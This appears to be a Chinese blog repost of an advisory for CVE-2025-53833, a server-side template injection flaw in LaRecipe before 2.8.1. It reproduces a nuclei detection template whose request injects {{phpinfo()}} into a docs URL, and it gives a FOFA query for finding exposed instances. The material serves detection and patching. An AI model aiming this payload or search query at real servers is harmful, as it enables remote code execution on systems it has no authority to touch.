LaRecipe Server-Side Template Injection Vulnerability

漏洞信息

漏洞名称: LaRecipe Server-Side Template Injection Vulnerability

漏洞编号:

  • CVE: CVE-2025-53833

漏洞类型: 服务端模板注入

漏洞等级: 严重

漏洞描述: LaRecipe是一个允许用户在Laravel应用内部使用Markdown创建文档的应用程序。该应用程序在2.8.1之前的版本中存在服务器端模板注入(SSTI)漏洞,可能导致在易受攻击的配置中实现远程代码执行(RCE)。此漏洞的根源在于应用程序未能正确过滤用户提供的输入,从而允许攻击者注入恶意模板代码。攻击者可以利用此漏洞在服务器上执行任意命令,访问敏感环境变量,或根据服务器配置提升访问权限。由于此漏洞的严重性,用户被强烈建议升级到v2.8.1或更高版本以接收补丁。此漏洞的影响范围广泛,特别是对于那些未及时更新的LaRecipe用户,可能导致严重的安全风险。

产品厂商: binarytorch

产品名称: LaRecipe

影响版本: < 2.8.1

搜索语法: body=”/binarytorch/larecipe/“

来源: https://github.com/projectdiscovery/nuclei-templates/blob/5b78cea01ff23d0da263520767b0eb46e88cb9e8/http%2Fcves%2F2025%2FCVE-2025-53833.yaml

类型: projectdiscovery/nuclei-templates:github issues

POC详情

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54

id: CVE-2025-53833

info:
name: LaRecipe < 2.8.1 Remote Code Execution via SSTI
author: iamnoooob,pdresearch
severity: critical
description: |
LaRecipe is an application that allows users to create documentation with Markdown inside a Laravel app. Versions prior to 2.8.1 are vulnerable to Server-Side Template Injection (SSTI), which could potentially lead to Remote Code Execution (RCE) in vulnerable configurations.
impact: |
Attackers could execute arbitrary commands on the server, access sensitive environment variables, and/or escalate access depending on server configuration.
remediation: |
Users are strongly advised to upgrade to version v2.8.1 or later to receive a patch.
reference:
- https://github.com/saleem-hadad/larecipe/security/advisories/GHSA-jv7x-xhv2-p5v2
- https://github.com/advisories/GHSA-jv7x-xhv2-p5v2
- https://nvd.nist.gov/vuln/detail/CVE-2025-53833
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10.0
cve-id: CVE-2025-53833
cwe-id: CWE-1336
cpe: cpe:2.3:a:binarytorch:larecipe:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: binarytorch
product: larecipe
fofa-query: body="/binarytorch/larecipe/"
tags: cve,cve2025,larecipe,rce,ssti,oss

http:
- raw:
- |
GET /docs/1.0/?{{phpinfo()}} HTTP/1.1
Host: {{Hostname}}

skip-variables-check: true

matchers-condition: and
matchers:
- type: word
part: body
words:
- "PHP Extension"
- "PHP Version"
- "larecipe"
condition: and

- type: status
status:
- 200



LaRecipe Server-Side Template Injection Vulnerability
http://example.com/2025/07/15/github_3683162930/
作者
lianccc
发布于
2025年7月15日
许可协议